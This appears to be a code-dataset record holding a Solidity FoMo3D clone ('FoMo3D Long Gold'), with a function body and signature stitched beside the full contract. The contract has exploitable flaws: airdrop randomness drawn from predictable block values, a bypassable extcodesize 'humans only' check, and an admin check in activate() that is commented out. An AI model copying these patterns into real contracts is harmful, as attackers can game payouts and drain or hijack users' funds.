round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay 3% out to community rewards
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
_p3d = _com;
_com = 0;
}
// distribute share to affiliate
//uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
/*if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}*/
uint256 _invest_return = 0;
_invest_return = distributeInvest(_pID, _eth, _affID);
_p3d = _p3d.add(_invest_return);
// pay out p3d
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeInvest(uint256 _pID, uint256 _aff_eth, uint256 _affID)
private
returns(uint256)
{
uint256 _p3d;
uint256 _aff;
uint256 _aff_2;
uint256 _aff_3;
uint256 _affID_1;
uint256 _affID_2;
uint256 _affID_3;
_p3d = 0;
// distribute share to affiliate
_aff = _aff_eth / 10;
_aff_2 = _aff_eth / 20;
_aff_3 = _aff_eth / 10;
_affID_1 = _affID;// up one member
_affID_2 = plyr_[_affID_1].laff;// up two member
_affID_3 = plyr_[_affID_2].laff;// up three member
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
//emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
if (_affID_2 != _pID && _affID_2 != _affID && plyr_[_affID_2].name != '') {
plyr_[_affID_2].aff = _aff_2.add(plyr_[_affID_2].aff);
} else {
_p3d = _p3d.add(_aff_2);
}
if (_affID_3 != _pID && _affID_3 != _affID && plyr_[_affID_3].name != '') {
plyr_[_affID_3].aff = _aff_3.add(plyr_[_affID_3].aff);
} else {
_p3d = _p3d.add(_aff_3);
}
return _p3d;
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
// require(msg.sender == admin, "only admin can activate"); // erik
// can only be ran once
require(activated_ == false, "OK3D already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
} |
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
| function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
| /**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
|
71407 | FoMo3Dlong | getPlayerVaults | contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
// TOBEFIXED: change contract address
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x2Ddad27212769D5C87cba9112c6C232628F545bc);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant public name = "FoMo3D Long Gold";
string constant public symbol = "F3DLG";
uint256 private rndExtra_ = 0; // length of the very first ICO , set to 0
uint256 private rndGap_ = 0; // length of ICO phase, set to 0
uint256 constant private rndInit_ = 1 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(60,0); //20% to pot, 20% to aff, 0% to com, 0% to pot swap, 0% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(60,0); //20% to pot, 20% to aff, 0% to com, 0% to pot swap, 0% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(60,0); //20% to pot, 20% to aff, 0% to com, 0% to pot swap, 0% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(60,0); //20% to pot, 20% to aff, 0% to com, 0% to pot swap, 0% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(20,0); //80% to winner, 0% to next round, 0% to com
potSplit_[1] = F3Ddatasets.PotSplit(20,0); //80% to winner, 0% to next round, 0% to com
potSplit_[2] = F3Ddatasets.PotSplit(20,0); //80% to winner, 0% to next round, 0% to com
potSplit_[3] = F3Ddatasets.PotSplit(20,0); //80% to winner, 0% to next round, 0% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
// IF anything goes wrong, prevent eth being stuck in the contract
plyr_[_pID].addr.transfer(_eth < address(this).balance ? _eth : address(this).balance);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
